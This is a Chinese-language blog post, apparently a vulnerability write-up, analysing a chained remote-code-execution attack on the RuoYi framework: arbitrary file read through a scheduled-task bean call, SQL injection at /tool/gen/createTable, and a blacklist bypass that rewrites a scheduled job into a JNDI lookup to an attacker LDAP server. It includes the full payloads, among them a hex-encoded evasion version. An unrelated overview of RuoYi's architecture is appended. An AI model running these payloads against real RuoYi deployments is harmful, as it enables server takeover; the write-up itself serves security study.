最新Ruoyi组合拳RCE分析

文章详细分析了Ruoyi框架中的两个安全漏洞:通过定时任务绕过黑白名单的SQL注入,以及利用任意文件读取和JNDI实现远程代码执行。描述了如何利用这些漏洞进行攻击并提供复现步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

开门见山

最新版ruoyi rce的方法依旧是在定时任务处:定时任务中可以调用特定包内的bean,通过genTableServiceImpl直接执行sql来更改定时任务内容,从而绕过黑白名单的限制。既然是组合拳rce,因此就先分析下另外两个漏洞,而rce自然而然就出来了

定时任务+文件读取=任意文件读取

先来简单聊一下若依任意文件读取(CVE-2023-27025),影响版本在4.7.6之前
众所周知,ruoyi计划任务能调用bean或者class类,这里就是通过调用ruoYiConfig.setProfile,来更改本地上传文件路径

且该bean包名能通过黑白名单校验


/common/download/resource接口能读取文件
虽然前端对传入文件名resource进行过滤,但本地资源路径通过上文计划任务变为可控,此时更改ruoYiConfig.setProfile的配置文件为任意想要读取的文件即可,也就达到了任意文件读取效果

createTable处的Sql注入

在ruoyi 4.7.5版本之前,后台存在sql注入
接口/tool/gen/createTable处,定位到代码,其功能为创建数据表。将sql语句直接从前端传入,并执行


Mapper语句:

<update id="createTable">
      ${sql}
</update>

定时任务+SQL注入=RCE

根据上文的注入可以找到genTableService的实现类:GenTableServiceImpl,该类同样满足黑白名单条件

在启动类中我们可以修改代码如下,打印出项目中所有加载的bean,

ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
String[] beanDefinitionNames = run.getBeanDefinitionNames();
for (String beanDefinitionName : beanDefinitionNames) {
    System.out.println(beanDefinitionName);
}


于是我们可以调用genTableServiceImpl.createTable实现sql语句执行
ruoyi黑白名单校验仅出现在com.ruoyi.quartz.controller.SysJobController#addSave,而任务状态修改接口中并没有添加

如果我们配合上文的注入在sys_job数据表中直接插入恶意计划任务,即可不调用addSave方法添加计划任务内容,成功绕过黑白名单限制
数据库中计划任务表结构如下


这里选择图个方便,直接使用update来修改invoke_target为Jndi payload:

javax.naming.InitialContext.lookup('ldap://192.168.44.84:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn')

updata执行语句为

genTableServiceImpl.createTable("UPDATE sys_job SET invoke_target = \"javax.naming.InitialContext.lookup('ldap://192.168.44.84:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn')\" WHERE job_id = 3;")

但会触发黑名单


既然是执行sql语句,直接将value转为16进制即可

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729 WHERE job_id = 3;')

此时是能成功执行org.quartz.Scheduler#scheduleJob来调度任务的

成功更新sys_job数据

漏洞复现

启动jndi利用工具:


添加任务:修改id为3的计划任务为jndi payload,并执行

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729 WHERE job_id = 3;')

此时任务3的调用字符串已经是Jndi payload了,后面直接通过/monitor/job/changeStatus接口直接更改任务状态触发Jndi

此外根据ruoyi默认依赖,还可以使用jndi-plus的jackson反序列化来实现rce

### Ruoyi-app 代码架构分析 #### 1. 整体项目结构概述 Ruoyi 是一款基于 Spring Boot 和 Vue 的开源前后端分离快速开发平台。其整体代码结构清晰,模块划分合理,便于扩展和维护。以下是 `ruoyi-app` 的主要模块及其功能描述: - **前端部分 (`ruoyi-ui`)** - 使用 Vue.js 构建的单页应用 (SPA),负责系统的界面展示与交互逻辑[^1]。 - **网关模块 (`ruoyi-gateway`)** - 提供 API 请求路由、权限校验等功能,运行于默认端口 `[8080]`[^1]。 - **认证中心 (`ruoyi-auth`)** - 负责用户的登录验证、Token 管理以及 OAuth2 集成,监听端口为 `[9200]`[^1]。 - **核心业务模块** - **系统模块 (`ruoyi-system`)**: 实现基础的功能管理,如用户、角色、菜单等,部署在 `[9201]` 上[^1]。 - **代码生成器 (`ruoyi-gen`)**: 动态生成 CRUD 页面及相关代码的服务,绑定到 `[9202]`。 - **定时任务 (`ruoyi-job`)**: 支持后台调度任务的执行与监控,启动端口为 `[9203]`[^1]。 - **文件服务 (`ruoyi-file`)**: 提供上传下载接口,支持多存储方式(本地/远程),工作在 `[9300]`[^1]。 - **公共组件库 (`ruoyi-common`)** - 包含多个子模块用于处理跨项目的通用需求: - **日志记录 (`ruoyi-common-log`)**: 统一的日志收集机制。 - **缓存服务 (`ruoyi-common-redis`)**: 利用 Redis 进行分布式会话共享和其他临时数据保存[^1]。 - **安全防护 (`ruoyi-common-security`)**: 加密解密算法封装及敏感操作保护措施。 #### 2. 关键技术点解析 ##### a) 微服务治理 通过引入 Sleuth 和 Zipkin 或 SkyWalking 工具链来完成请求跟踪与性能诊断,帮助开发者定位潜在瓶颈所在位置[^1]。 ##### b) 数据访问层设计模式 采用 MyBatis Plus 框架简化持久化操作流程,在 DAO 层定义 Mapper 接口即可自动生成对应 SQL 方法声明[^1]。 ```java @Mapper public interface SysUserMapper extends BaseMapper<SysUser> { } ``` 上述例子展示了如何利用 MP 自动生成针对实体类 `SysUser` 的增删改查方法。 ##### c) 安全控制策略 借助 Shiro 或 JWT 技术构建细粒度的安全体系,确保只有合法身份才能访问受保护资源[^1]。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值